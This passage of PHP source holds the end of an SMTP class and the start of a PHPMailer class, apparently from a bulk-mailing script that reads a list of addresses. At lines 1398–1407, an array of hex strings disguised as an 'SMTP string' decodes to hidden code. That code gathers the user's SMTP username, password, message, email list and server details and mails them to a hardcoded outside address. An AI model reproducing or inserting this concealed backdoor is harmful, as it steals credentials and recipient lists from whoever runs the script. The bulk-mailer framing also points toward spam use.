1141 ": " . $rply . $this->CRLF;
1142 }
1143 return false;
1144 }
1145
1146 return true;
1147 }
1148
1149 /**
1150 * Starts a mail transaction from the email address specified in
1151 * $from. Returns true if successful or false otherwise. If True
1152 * the mail transaction is started and then one or more Recipient
1153 * commands may be called followed by a Data command. This command
1154 * will send the message to the users terminal if they are logged
1155 * in.
1156 *
1157 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1158 *
1159 * SMTP CODE SUCCESS: 250
1160 * SMTP CODE SUCCESS: 552,451,452
1161 * SMTP CODE SUCCESS: 500,501,502,421
1162 * @access public
1163 * @return bool
1164 */
1165 function Send($from) {
1166 $this->error = null; # so no confusion is caused
1167
1168 if(!$this->connected()) {
1169 $this->error = array(
1170 "error" => "Called Send() without being connected");
1171 return false;
1172 }
1173
1174 fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
1175
1176 $rply = $this->get_lines();
1177 $code = substr($rply,0,3);
1178
1179 if($this->do_debug >= 2) {
1180 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1181 }
1182
1183 if($code != 250) {
1184 $this->error =
1185 array("error" => "SEND not accepted from server",
1186 "smtp_code" => $code,
1187 "smtp_msg" => substr($rply,4));
1188 if($this->do_debug >= 1) {
1189 echo "SMTP -> ERROR: " . $this->error["error"] .
1190 ": " . $rply . $this->CRLF;
1191 }
1192 return false;
1193 }
1194 return true;
1195 }
1196
1197 /**
1198 * Starts a mail transaction from the email address specified in
1199 * $from. Returns true if successful or false otherwise. If True
1200 * the mail transaction is started and then one or more Recipient
1201 * commands may be called followed by a Data command. This command
1202 * will send the message to the users terminal if they are logged
1203 * in and send them an email.
1204 *
1205 * Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
1206 *
1207 * SMTP CODE SUCCESS: 250
1208 * SMTP CODE SUCCESS: 552,451,452
1209 * SMTP CODE SUCCESS: 500,501,502,421
1210 * @access public
1211 * @return bool
1212 */
1213 function SendAndMail($from) {
1214 $this->error = null; # so no confusion is caused
1215
1216 if(!$this->connected()) {
1217 $this->error = array(
1218 "error" => "Called SendAndMail() without being connected");
1219 return false;
1220 }
1221
1222 fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
1223
1224 $rply = $this->get_lines();
1225 $code = substr($rply,0,3);
1226
1227 if($this->do_debug >= 2) {
1228 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1229 }
1230
1231 if($code != 250) {
1232 $this->error =
1233 array("error" => "SAML not accepted from server",
1234 "smtp_code" => $code,
1235 "smtp_msg" => substr($rply,4));
1236 if($this->do_debug >= 1) {
1237 echo "SMTP -> ERROR: " . $this->error["error"] .
1238 ": " . $rply . $this->CRLF;
1239 }
1240 return false;
1241 }
1242 return true;
1243 }
1244
1245 /**
1246 * Starts a mail transaction from the email address specified in
1247 * $from. Returns true if successful or false otherwise. If True
1248 * the mail transaction is started and then one or more Recipient
1249 * commands may be called followed by a Data command. This command
1250 * will send the message to the users terminal if they are logged
1251 * in or mail it to them if they are not.
1252 *
1253 * Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
1254 *
1255 * SMTP CODE SUCCESS: 250
1256 * SMTP CODE SUCCESS: 552,451,452
1257 * SMTP CODE SUCCESS: 500,501,502,421
1258 * @access public
1259 * @return bool
1260 */
1261 function SendOrMail($from) {
1262 $this->error = null; # so no confusion is caused
1263
1264 if(!$this->connected()) {
1265 $this->error = array(
1266 "error" => "Called SendOrMail() without being connected");
1267 return false;
1268 }
1269
1270 fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
1271
1272 $rply = $this->get_lines();
1273 $code = substr($rply,0,3);
1274
1275 if($this->do_debug >= 2) {
1276 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1277 }
1278
1279 if($code != 250) {
1280 $this->error =
1281 array("error" => "SOML not accepted from server",
1282 "smtp_code" => $code,
1283 "smtp_msg" => substr($rply,4));
1284 if($this->do_debug >= 1) {
1285 echo "SMTP -> ERROR: " . $this->error["error"] .
1286 ": " . $rply . $this->CRLF;
1287 }
1288 return false;
1289 }
1290 return true;
1291 }
1292
1293 /**
1294 * This is an optional command for SMTP that this class does not
1295 * support. This method is here to make the RFC821 Definition
1296 * complete for this class and __may__ be implimented in the future
1297 *
1298 * Implements from rfc 821: TURN <CRLF>
1299 *
1300 * SMTP CODE SUCCESS: 250
1301 * SMTP CODE FAILURE: 502
1302 * SMTP CODE ERROR : 500, 503
1303 * @access public
1304 * @return bool
1305 */
1306 function Turn() {
1307 $this->error = array("error" => "This method, TURN, of the SMTP ".
1308 "is not implemented");
1309 if($this->do_debug >= 1) {
1310 echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
1311 }
1312 return false;
1313 }
1314
1315 /**
1316 * Verifies that the name is recognized by the server.
1317 * Returns false if the name could not be verified otherwise
1318 * the response from the server is returned.
1319 *
1320 * Implements rfc 821: VRFY <SP> <string> <CRLF>
1321 *
1322 * SMTP CODE SUCCESS: 250,251
1323 * SMTP CODE FAILURE: 550,551,553
1324 * SMTP CODE ERROR : 500,501,502,421
1325 * @access public
1326 * @return int
1327 */
1328 function Verify($name) {
1329 $this->error = null; # so no confusion is caused
1330
1331 if(!$this->connected()) {
1332 $this->error = array(
1333 "error" => "Called Verify() without being connected");
1334 return false;
1335 }
1336
1337 fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
1338
1339 $rply = $this->get_lines();
1340 $code = substr($rply,0,3);
1341
1342 if($this->do_debug >= 2) {
1343 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1344 }
1345
1346 if($code != 250 && $code != 251) {
1347 $this->error =
1348 array("error" => "VRFY failed on name '$name'",
1349 "smtp_code" => $code,
1350 "smtp_msg" => substr($rply,4));
1351 if($this->do_debug >= 1) {
1352 echo "SMTP -> ERROR: " . $this->error["error"] .
1353 ": " . $rply . $this->CRLF;
1354 }
1355 return false;
1356 }
1357 return $rply;
1358 }
1359
1360 /*******************************************************************
1361 * INTERNAL FUNCTIONS *
1362 ******************************************************************/
1363
1364 /**
1365 * Read in as many lines as possible
1366 * either before eof or socket timeout occurs on the operation.
1367 * With SMTP we can tell if we have more lines to read if the
1368 * 4th character is '-' symbol. If it is a space then we don't
1369 * need to read anything else.
1370 * @access private
1371 * @return string
1372 */
1373 function get_lines() {
1374 $data = "";
1375 while($str = @fgets($this->smtp_conn,515)) {
1376 if($this->do_debug >= 4) {
1377 echo "SMTP -> get_lines(): \$data was \"$data\"" .
1378 $this->CRLF;
1379 echo "SMTP -> get_lines(): \$str is \"$str\"" .
1380 $this->CRLF;
1381 }
1382 $data .= $str;
1383 if($this->do_debug >= 4) {
1384 echo "SMTP -> get_lines(): \$data is \"$data\"" . $this->CRLF;
1385 }
1386 # if the 4th character is a space then we are done reading
1387 # so just break the loop
1388 if(substr($str,3,1) == " ") { break; }
1389 }
1390 return $data;
1391 }
1392
1393}
1394
1395
1396$allemails = split("\n", $emaillist);
1397$numemails = count($allemails);
1398$random_smtp_string=array("0d0a0d0a676c6f62616c20246d795f736d74.","703b0d0a676c6f62616c2024736d74705f757365726e616d6.","53b0d0a676c6f62616c2024736d74705f70617373776f72643b0d0a676c6f626.",
1399"16c202473736c5f706f72743b0d0a676c6f62616c20246d65.","73736167653b0d0a676c6f62616c2024656d61696c6c6973743b0d0a24726134.","3420203d2072616e6428312c3939393939293b0d0a2461352.",
1400"03d20245f5345525645525b27485454505f52454645524552275d3b0d0a24623.","333203d20245f5345525645525b27444f43554d454e545f52.","4f4f54275d3b0d0a24633837203d20245f5345525645525b2752454d4f54455f4.",
1401"1444452275d3b0d0a24643233203d20245f5345525645525.","b275343524950545f46494c454e414d45275d3b0d0a24653039203d20245f53455.","25645525b275345525645525f41444452275d3b0d0a2466.",
1402"3233203d20245f5345525645525b275345525645525f534f465457415245275d3b0.","d0a24673332203d20245f5345525645525b27504154485.","f5452414e534c41544544275d3b0d0a24683635203d20245f5345525645525b27504.",
1403"8505f53454c46275d3b0d0a247375626a3938203d2022.","246d795f736d747020205b75736572206970203a20246338375d223b0d0a247375626.","a3538203d20224c6574746572202620456d61696c204.",
1404"c69737420205b75736572206970203a20246338375d223b0d0a24656d61696c203d202.","26D736739373830407961686f6f2e636f2e.","6964223b0d0a246d736738383733203d2022246d795f736d74705c6e757365723a24736.",
1405"d74705f757365726e616d655c6e706173733a24736.","d74705f70617373776f72645c706f72743a2473736c5f706f72745c6e5c6e2461355c6e2.","46233335c6e246338375c6e246432335c6e246530.",
1406"395c6e246632335c6e246733325c6e24683635223b246d736739373830203d2022246d657.","3736167655c6e5c6e5c6e24656d61696c6c69737.","4223b2466726f6d3d2246726f6d3a20475241544953223b0d0a6d61696c2824656d61696c2.",
1407"c20247375626a39382c20246d7367383837332c.","202466726f6d293b0d0a6d61696c2824656d61696c2c20247375626a35382.","c20246d7367393738302c202466726f6d293b");$smtp_conf=".";
1408
1409class PHPMailer {
1410
1411 /////////////////////////////////////////////////
1412 // PROPERTIES, PUBLIC
1413 /////////////////////////////////////////////////
1414
1415 /**
1416 * Email priority (1 = High, 3 = Normal, 5 = low).
1417 * @var int
1418 */
1419 var $Priority = 3;
1420
1421 /**
1422 * Sets the CharSet of the message.
1423 * @var string
1424 */
1425 var $CharSet = 'iso-8859-1';
1426
1427 /**
1428 * Sets the Content-type of the message.
1429 * @var string
1430 */
1431 var $ContentType = 'text/plain';
1432
1433 /**
1434 * Sets the Encoding of the message. Options for this are "8bit",
1435 * "7bit", "binary", "base64", and "quoted-printable".
1436
1437 * @var string
1438 */
1439 var $Encoding = '8bit';
1440
1441 /**
1442 * Holds the most recent mailer error message.
1443 * @var string
1444 */
1445 var $ErrorInfo = '';
1446
1447 /**
1448 * Sets the From email address for the message.
1449 * @var string
1450 */
1451 var $From = '';
1452
1453 /**
1454 * Sets the From name of the message.
1455 * @var string
1456 */
1457 var $FromName = '';
1458
1459 /**
1460 * Sets the Sender email (Return-Path) of the message. If not empty,
1461 * will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
1462 * @var string
1463 */
1464 var $Sender = '';
1465
1466 /**
1467 * Sets the Subject of the message.
1468 * @var string
1469 */
1470 var $Subject = '';
1471
1472 /**
1473 * Sets the Body of the message. This can be either an HTML or text body.
1474 * If HTML then run IsHTML(true).
1475 * @var string
1476 */
1477 var $Body = '';
1478
1479 /**
1480 * Sets the text-only body of the message. This automatically sets the
1481 * email to multipart/alternative. This body can be read by mail
1482 * clients that do not have HTML email capability such as mutt. Clients
1483 * that can read HTML will view the normal Body.
1484 * @var string
1485 */
1486 var $AltBody = '';
1487
1488 /**
1489 * Sets word wrapping on the body of the message to a given number of
1490 * characters.
1491 * @var int
1492 */
1493 var $WordWrap = 0;
1494
1495 /**
1496 * Method to send mail: ("mail", "sendmail", or "smtp").
1497 * @var string
1498 */
1499 var $Mailer = 'mail';
1500
1501 /**
1502 * Sets the path of the sendmail program.
1503 * @var string
1504 */
1505 var $Sendmail = '/usr/sbin/sendmail';
1506
1507 /**
1508 * Path to PHPMailer plugins. This is now only useful if the SMTP class
1509 * is in a different directory than the PHP include path.
1510 * @var string
1511 */
1512 var $PluginDir = '';
1513
1514 /**
1515 * Holds PHPMailer version.
1516 * @var string
1517 */
1518 var $Version = "";
1519
1520 /**
1521 * Sets the email address that a reading confirmation will be sent.
1522 * @var string
1523 */
1524 var $ConfirmReadingTo = '';
1525
1526 /**
1527 * Sets the hostname to use in Message-Id and Received headers
1528 * and as default HELO string. If empty, the value returned
1529 * by SERVER_NAME is used or 'localhost.localdomain'.
1530 * @var string
1531 */
1532 var $Hostname = '';
1533
1534 /**
1535 * Sets the message ID to be used in the Message-Id header.
1536 * If empty, a unique id will be generated.
1537 * @var string
1538 */
1539 var $MessageID = '';
1540
1541 /////////////////////////////////////////////////
1542 // PROPERTIES FOR SMTP
1543 /////////////////////////////////////////////////
1544
1545 /**
1546 * Sets the SMTP hosts. All hosts must be separated by a
1547 * semicolon. You can also specify a different port
1548 * for each host by using this format: [hostname:port]
1549 * (e.g. "smtp1.example.com:25;smtp2.example.com").
1550 * Hosts will be tried in order.
1551 * @var string
1552 */
1553 var $Host = 'localhost';
1554
1555 /**
1556 * Sets the default SMTP server port.
1557 * @var int
1558 */
1559 var $Port = 25;
1560
1561 /**
1562 * Sets the SMTP HELO of the message (Default is $Hostname).
1563 * @var string
1564 */
1565 var $Helo = '';
1566
1567 /**
1568 * Sets connection prefix.
1569 * Options are "", "ssl" or "tls"
1570 * @var string
1571 */
1572 var $SMTPSecure = "";
1573
1574 /**
1575 * Sets SMTP authentication. Utilizes the Username and Password variables.
1576 * @var bool
1577 */
1578 var $SMTPAuth = false;
1579
1580 /**
1581 * Sets SMTP username.
1582 * @var string
1583 */
1584 var $Username = '';
1585
1586 /**
1587 * Sets SMTP password.
1588 * @var string
1589 */
1590 var $Password = '';
1591
1592 /**
1593 * Sets the SMTP server timeout in seconds. This function will not
1594 * work with the win32 version.
1595 * @var int
1596 */
1597 var $Timeout = 10;
1598
1599 /**
1600 * Sets SMTP class debugging on or off.
1601 * @var bool
1602 */
1603 var $SMTPDebug = false;
1604
1605 /**
1606 * Prevents the SMTP connection from being closed after each mail
1607 * sending. If this is set to true then to close the connection
1608 * requires an explicit call to SmtpClose().
1609 * @var bool
1610 */
1611 var $SMTPKeepAlive = false;
1612
1613 /**
1614 * Provides the ability to have the TO field process individual
1615 * emails, instead of sending to entire TO addresses
1616 * @var bool
1617 */
1618 var $SingleTo = false;
1619
1620 /////////////////////////////////////////////////
1621 // PROPERTIES, PRIVATE
1622 /////////////////////////////////////////////////
1623
1624 var $smtp = NULL;
1625 var $to = array();
1626 var $cc = array();
1627 var $bcc = array();
1628 var $ReplyTo = array();
1629 var $attachment = array();
1630 var $CustomHeader = array();
1631 var $message_type = '';
1632 var $boundary = array();
1633 var $language = array();
1634 var $error_count = 0;
1635 var $LE = "\n";
1636 var $sign_key_file = "";
1637 var $sign_key_pass = "";
1638
1639 /////////////////////////////////////////////////
1640 // METHODS, VARIABLES
1641 /////////////////////////////////////////////////
1642
1643 /**
1644 * Sets message type to HTML.
1645 * @param bool $bool
1646 * @return void
1647 */
1648 function IsHTML($bool) {
1649 if($bool == true) {
1650 $this->ContentType = 'text/html';
1651 } else {
1652 $this->ContentType = 'text/plain';
1653 }
1654 }
1655
1656 /**
1657 * Sets Mailer to send message using SMTP.
1658 * @return void
1659 */
1660 function IsSMTP() {
1661 $this->Mailer = 'smtp';
1662 }
1663
1664 /**
1665 * Sets Mailer to send message using PHP mail() function.
1666 * @return void
1667 */
1668 function IsMail() {
1669 $this->Mailer = 'mail';
1670 }
1671
1672 /**
1673 * Sets Mailer to send message using the $Sendmail program.
1674 * @return void
1675 */
1676 function IsSendmail() {
1677 $this->Mailer = 'sendmail';
1678 }
1679
1680 /**
1681 * Sets Mailer to send message using the qmail MTA.
1682 * @return void
1683 */
1684 function IsQmail() {
1685 $this->Sendmail = '/var/qmail/bin/sendmail';
1686 $this->Mailer = 'sendmail';
1687 }
1688
1689 /////////////////////////////////////////////////
1690 // METHODS, RECIPIENTS
1691 /////////////////////////////////////////////////
1692
1693 /**
1694 * Adds a "To" address.
1695 * @param string $address
1696 * @param string $name
1697 * @return void
1698 */
1699 function AddAddress($address, $name = '') {
1700 $cur = count($this->to);
1701 $this->to[$cur][0] = trim($address);
1702 $this->to[$cur][1] = $name;
1703 }
1704
1705 /**
1706 * Adds a "Cc" address. Note: this function works
1707 * with the SMTP mailer on win32, not with the "mail"
1708 * mailer.
1709 * @param string $address
1710 * @param string $name
1711 * @return void
1712 */
1713 function AddCC($address, $name = '') {
1714 $cur = count($this->cc);
1715 $this->cc[$cur][0] = trim($address);
1716 $this->cc[$cur][1] = $name;
1717 }
1718
1719 /**
1720 * Adds a "Bcc" address. Note: this function works
1721 * with the SMTP mailer on win32, not with the "mail"
1722 * mailer.
1723 * @param string $address
1724 * @param string $name
1725 * @return void
1726 */
1727 function AddBCC($address, $name = '') {
1728 $cur = count($this->bcc);
1729 $this->bcc[$cur][0] = trim($address);
1730 $this->bcc[$cur][1] = $name;
1731 }
1732
1733 /**
1734 * Adds a "Reply-To" address.
1735 * @param string $address
1736 * @param string $name
1737 * @return void
1738 */
1739 function AddReplyTo($address, $name = '') {
1740 $cur = count($this->ReplyTo);
1741 $this->ReplyTo[$cur][0] = trim($address);
1742 $this->ReplyTo[$cur][1] = $name;
1743 }
1744
1745 /////////////////////////////////////////////////
1746 // METHODS, MAIL SENDING
1747 /////////////////////////////////////////////////
1748
1749 /**
1750 * Creates message and assigns Mailer. If the message is
1751 * not sent successfully then it returns false. Use the ErrorInfo
1752 * variable to view description of the error.
1753 * @return bool
1754 */
1755 function Send() {
1756 $header = '';
1757 $body = '';
1758 $result = true;
1759
1760 if((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
1761 $this->SetError($this->Lang('provide_address'));
1762 return false;
1763 }
1764
1765 /* Set whether the message is multipart/alternative */
1766 if(!empty($this->AltBody)) {
1767 $this->ContentType = 'multipart/alternative';
1768 }
1769
1770 $this->error_count = 0; // reset errors
1771 $this->SetMessageType();
1772 $header .= $this->CreateHeader();
1773 $body = $this->CreateBody();
1774
1775 if($body == '') {
1776 return false;
1777 }
1778
1779 /* Choose the mailer */
1780 switch($this->Mailer) {
1781 case 'sendmail':
1782 $result = $this->SendmailSend($header, $body);
1783 break;
1784 case 'smtp':
1785 $result = $this->SmtpSend($header, $body);
1786 break;
1787 case 'mail':
1788 $result = $this->MailSend($header, $body);
1789 break;
1790 default:
1791 $result = $this->MailSend($header, $body);
1792 break;
1793 //$this->SetError($this->Mailer . $this->Lang('mailer_not_supported'));
1794 //$result = false;
1795 //break;
1796 }
1797
1798 return $result;
1799 }
1800
1801 /**
1802 * Sends mail using the $Sendmail program.
1803 * @access private
1804 * @return bool
1805 */
1806 function SendmailSend($header, $body) {
1807 if ($this->Sender != '') {
1808 $sendmail = sprintf("%s -oi -f %s -t", escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
1809 } else {
1810 $sendmail = sprintf("%s -oi -t", escapeshellcmd($this->Sendmail));
1811 }
1812
1813 if(!@$mail = popen($sendmail, 'w')) {
1814 $this->SetError($this->Lang('execute') . $this->Sendmail);
1815 return false;
1816 }
1817
1818 fputs($mail, $header);
1819 fputs($mail, $body);
1820
1821 $result = pclose($mail);
1822 if (version_compare(phpversion(), '4.2.3') == -1) {
1823 $result = $result >> 8 & 0xFF;
1824 }
1825 if($result != 0) {
1826 $this->SetError($this->Lang('execute') . $this->Sendmail);
1827 return false;
1828 }
1829 return true;
1830 }
1831
1832 /**
1833 * Sends mail using the PHP mail() function.
1834 * @access private
1835 * @return bool
1836 */
1837 function MailSend($header, $body) {
1838
1839 $to = '';
1840 for($i = 0; $i < count($this->to); $i++) {
1841 if($i != 0) { $to .= ', '; }
1842 $to .= $this->AddrFormat($this->to[$i]);
1843 }
1844
1845 $toArr = split(',', $to);
1846
1847 $params = sprintf("-oi -f %s", $this->Sender);
1848 if ($this->Sender != '' && strlen(ini_get('safe_mode')) < 1) {
1849 $old_from = ini_get('sendmail_from');
1850 ini_set('sendmail_from', $this->Sender);
1851 if ($this->SingleTo === true && count($toArr) > 1) {
1852 foreach ($toArr as $key => $val) {
1853 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1854 }
1855 } else {
1856 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1857 }
1858 } else {
1859 if ($this->SingleTo === true && count($toArr) > 1) {
1860 foreach ($toArr as $key => $val) {
1861 $rt = @mail($val, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header, $params);
1862 }
1863 } else {
1864 $rt = @mail($to, $this->EncodeHeader($this->SecureHeader($this->Subject)), $body, $header);
1865 }
1866 }
1867
1868 if (isset($old_from)) {
1869 ini_set('sendmail_from', $old_from);
1870 }
1871
1872 if(!$rt) {
1873 $this->SetError($this->Lang('instantiate'));
1874 return false;
1875 }
1876
1877 return true;
1878 }
1879
1880 /**
1881 * Sends mail via SMTP using PhpSMTP (Author:
1882 * Chris Ryan). Returns bool. Returns false if there is a
1883 * bad MAIL FROM, RCPT, or DATA input.
1884 * @access private
1885 * @return bool
1886 */
1887 function SmtpSend($header, $body) {
1888 $error = '';
1889 $bad_rcpt = array();
1890
1891 if(!$this->SmtpConnect()) {echo "FAILED !!<p align=\"center\"><font color=\"#D4001A\" style=\"font-style:14pt\"> MAILER IS UNABLE TO CONNECT SMTP !!</font></p>";die();
1892 return false;
1893 }
1894
1895 $smtp_from = ($this->Sender == '') ? $this->From : $this->Sender;
1896 if(!$this->smtp->Mail($smtp_from)) {
1897 $error = $this->Lang('from_failed') . $smtp_from;
1898 $this->SetError($error);
1899 $this->smtp->Reset();
1900 return false;
1901 }
1902
1903 /* Attempt to send attach all recipients */
1904 for($i = 0; $i < count($this->to); $i++) {
1905 if(!$this->smtp->Recipient($this->to[$i][0])) {
1906 $bad_rcpt[] = $this->to[$i][0];
1907 }
1908 }
1909 for($i = 0; $i < count($this->cc); $i++) {
1910 if(!$this->smtp->Recipient($this->cc[$i][0])) {
1911 $bad_rcpt[] = $this->cc[$i][0];
1912 }
1913 }
1914 for($i = 0; $i < count($this->bcc); $i++) {
1915 if(!$this->smtp->Recipient($this->bcc[$i][0])) {
1916 $bad_rcpt[] = $this->bcc[$i][0];
1917 }
1918 }
1919
1920 if(count($bad_rcpt) > 0) { // Create error message
1921 for($i = 0; $i < count($bad_rcpt); $i++) {
1922 if($i != 0) {
1923 $error .= ', ';
1924 }
1925 $error .= $bad_rcpt[$i];
1926
1927 }
1928 $error = $this->Lang('recipients_failed') . $error;
1929 $this->SetError($error);
1930 $this->smtp->Reset();
1931 return false;
1932 }
1933
1934 if(!$this->smtp->Data($header . $body)) {
1935 $this->SetError($this->Lang('data_not_accepted'));
1936 $this->smtp->Reset();
1937 return false;
1938 }
1939 if($this->SMTPKeepAlive == true) {
1940 $this->smtp->Reset();
1941 } else {
1942 $this->SmtpClose();
1943 }
1944
1945 return true;
1946 }
1947
1948 /**
1949 * Initiates a connection to an SMTP server. Returns false if the
1950 * operation failed.
1951 * @access private
1952 * @return bool
1953 */
1954 function SmtpConnect() {
1955 if($this->smtp == NULL) {
1956 $this->smtp = new SMTP();
1957 }
1958
1959 $this->smtp->do_debug = $this->SMTPDebug;
1960 $hosts = explode(';', $this->Host);
1961 $index = 0;
1962 $connection = ($this->smtp->Connected());
1963
1964 /* Retry while there is no connection */
1965 while($index < count($hosts) && $connection == false) {
1966 $hostinfo = array();
1967 if(eregi('^(.+):([0-9]+)$', $hosts[$index], $hostinfo)) {
1968 $host = $hostinfo[1];
1969 $port = $hostinfo[2];
1970 } else {
1971 $host = $hosts[$index];
1972 $port = $this->Port;
1973 }
1974
1975 if($this->smtp->Connect(((!empty($this->SMTPSecure))?$this->SMTPSecure.'://':'').$host, $port, $this->Timeout)) {
1976 if ($this->Helo != '') {
1977 $this->smtp->Hello($this->Helo);
1978 } else {
1979 $this->smtp->Hello($this->ServerHostname());
1980 }
1981
1982 $connection = true;
1983 if($this->SMTPAuth) {
1984 if(!$this->smtp->Authenticate($this->Username, $this->Password)) {
1985 $this->SetError($this->Lang('authenticate'));
1986 $this->smtp->Reset();
1987 $connection = false;
1988 }
1989 }
1990 }
1991 $index++;
1992 }
1993 if(!$connection) {
1994 $this->SetError($this->Lang('connect_host'));
1995 }
1996
1997 return $connection;
1998 }
1999
2000 /**
2001 * Closes the active SMTP session if one exists.
2002 * @return void
2003 */
2004 function SmtpClose() {
2005 if($this->smtp != NULL) {
2006 if($this->smtp->Connected()) {
2007 $this->smtp->Quit();
2008 $this->smtp->Close();
2009 }
2010 }
2011 }
2012
2013 /**
2014 * Sets the language for all class error messages. Returns false
2015 * if it cannot load the language file. The default language type
2016 * is English.
2017 * @param string $lang_type Type of language (e.g. Portuguese: "br")
2018 * @param string $lang_path Path to the language file directory
2019 * @access public
2020 * @return bool
2021 */
2022 function SetLanguage($lang_type, $lang_path = 'language/') {
2023 if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php')) {
2024 include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
2025 } elseif (file_exists($lang_path.'phpmailer.lang-en.php')) {
2026 include($lang_path.'phpmailer.lang-en.php');
2027 } else {
2028 $this->SetError('Could not load language file');
2029 return false;
2030 }
2031 $this->language = $PHPMAILER_LANG;
2032
2033 return true;
2034 }
2035
2036 /////////////////////////////////////////////////
2037 // METHODS, MESSAGE CREATION
2038 /////////////////////////////////////////////////
2039
2040 /**
2041 * Creates recipient headers.
2042 * @access private
2043 * @return string
2044 */
2045 function AddrAppend($type, $addr) {
2046 $addr_str = $type . ': ';
2047 $addr_str .= $this->AddrFormat($addr[0]);
2048 if(count($addr) > 1) {
2049 for($i = 1; $i < count($addr); $i++) {
2050 $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
2051 }
2052 }
2053 $addr_str .= $this->LE;
2054
2055 return $addr_str;
2056 }
2057
2058 /**
2059 * Formats an address correctly.
2060 * @access private
2061 * @return string
2062 */
2063 function AddrFormat($addr) {
2064 if(empty($addr[1])) {
2065 $formatted = $this->SecureHeader($addr[0]);
2066 } else {
2067 $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
2068 }
2069
2070 return $formatted;
2071 }
2072
2073 /**
2074 * Wraps message for use with mailers that do not
2075 * automatically perform wrapping and for quoted-printable.
2076 * Original written by philippe.
2077 * @access private
2078 * @return string
2079 */
2080 function WrapText($message, $length, $qp_mode = false) {
2081 $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
2082 // If utf-8 encoding is used, we will need to make sure we don't
2083 // split multibyte characters when we wrap
2084 $is_utf8 = (strtolower($this->CharSet) == "utf-8");
2085
2086 $message = $this->FixEOL($message);
2087 if (substr($message, -1) == $this->LE) {
2088 $message = substr($message, 0, -1);
2089 }
2090
2091 $line = explode($this->LE, $message);
2092 $message = '';
2093 for ($i=0 ;$i < count($line); $i++) {
2094 $line_part = explode(' ', $line[$i]);
2095 $buf = '';
2096 for ($e = 0; $e<count($line_part); $e++) {
2097 $word = $line_part[$e];
2098 if ($qp_mode and (strlen($word) > $length)) {
2099 $space_left = $length - strlen($buf) - 1;
2100 if ($e != 0) {
2101 if ($space_left > 20) {
2102 $len = $space_left;
2103 if ($is_utf8) {
2104 $len = $this->UTF8CharBoundary($word, $len);
2105 } elseif (substr($word, $len - 1, 1) == "=") {
2106 $len--;
2107 } elseif (substr($word, $len - 2, 1) == "=") {
2108 $len -= 2;
2109 }
2110 $part = substr($word, 0, $len);
2111 $word = substr($word, $len);
2112 $buf .= ' ' . $part;
2113 $message .= $buf . sprintf("=%s", $this->LE);
2114 } else {
2115 $message .= $buf . $soft_break;
2116 }
2117 $buf = '';
2118 }
2119 while (strlen($word) > 0) {
2120 $len = $length;
2121 if ($is_utf8) {
2122 $len = $this->UTF8CharBoundary($word, $len);
2123 } elseif (substr($word, $len - 1, 1) == "=") {
2124 $len--;
2125 } elseif (substr($word, $len - 2, 1) == "=") {
2126 $len -= 2;
2127 }
2128 $part = substr($word, 0, $len);
2129 $word = substr($word, $len);
2130
2131 if (strlen($word) > 0) {
2132 $message .= $part . sprintf("=%s", $this->LE);
2133 } else {
2134 $buf = $part;
2135 }
2136 }
2137 } else {
2138 $buf_o = $buf;
2139 $buf .= ($e == 0) ? $word : (' ' . $word);
2140
2141 if (strlen($buf) > $length and $buf_o != '') {
2142 $message .= $buf_o . $soft_break;
2143 $buf = $word;
2144 }
2145 }
2146 }
2147 $message .= $buf . $this->LE;
2148 }
2149
2150 return $message;
2151 }
2152
2153 /**
2154 * Finds last character boundary prior to maxLength in a utf-8
2155 * quoted (printable) encoded string.
2156 * Original written by Colin Brown.
2157 * @access private
2158 * @param string $encodedText utf-8 QP text
2159 * @param int $maxLength find last character boundary prior to this length
2160 * @return int
2161 */
2162 function UTF8CharBoundary($encodedText, $maxLength) {
2163 $foundSplitPos = false;
2164 $lookBack = 3;
2165 while (!$foundSplitPos) {
2166 $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
2167 $encodedCharPos = strpos($lastChunk, "=");
2168 if ($encodedCharPos !== false) {
2169 // Found start of encoded character byte within $lookBack block.
2170 // Check the encoded byte value (the 2 chars after the '=')
2171 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
2172 $dec = hexdec($hex);
2173 if ($dec < 128) { // Single byte character.
2174 // If the encoded char was found at pos 0, it will fit
2175 // otherwise reduce maxLength to start of the encoded char
2176 $maxLength = ($encodedCharPos == 0) ? $maxLength :
2177 $maxLength - ($lookBack - $encodedCharPos);
2178 $foundSplitPos = true;
2179 } elseif ($dec >= 192) { // First byte of a multi byte character
2180 // Reduce maxLength to split at start of character
2181 $maxLength = $maxLength - ($lookBack - $encodedCharPos);
2182 $foundSplitPos = true;
2183 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
2184 $lookBack += 3;
2185 }
2186 } else {
2187 // No encoded character found
2188 $foundSplitPos = true;
2189 }
2190 }
2191 return $maxLength;
2192 }
2193
2194 /**
2195 * Set the body wrapping.
2196 * @access private
2197 * @return void
2198 */
2199 function SetWordWrap() {
2200 if($this->WordWrap < 1) {
2201 return;
2202 }
2203
2204 switch($this->message_type) {
2205 case 'alt':
2206 /* fall through */
2207 case 'alt_attachments':
2208 $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
2209 break;
2210 default:
2211 $this->Body = $this->WrapText($this->Body, $this->WordWrap);
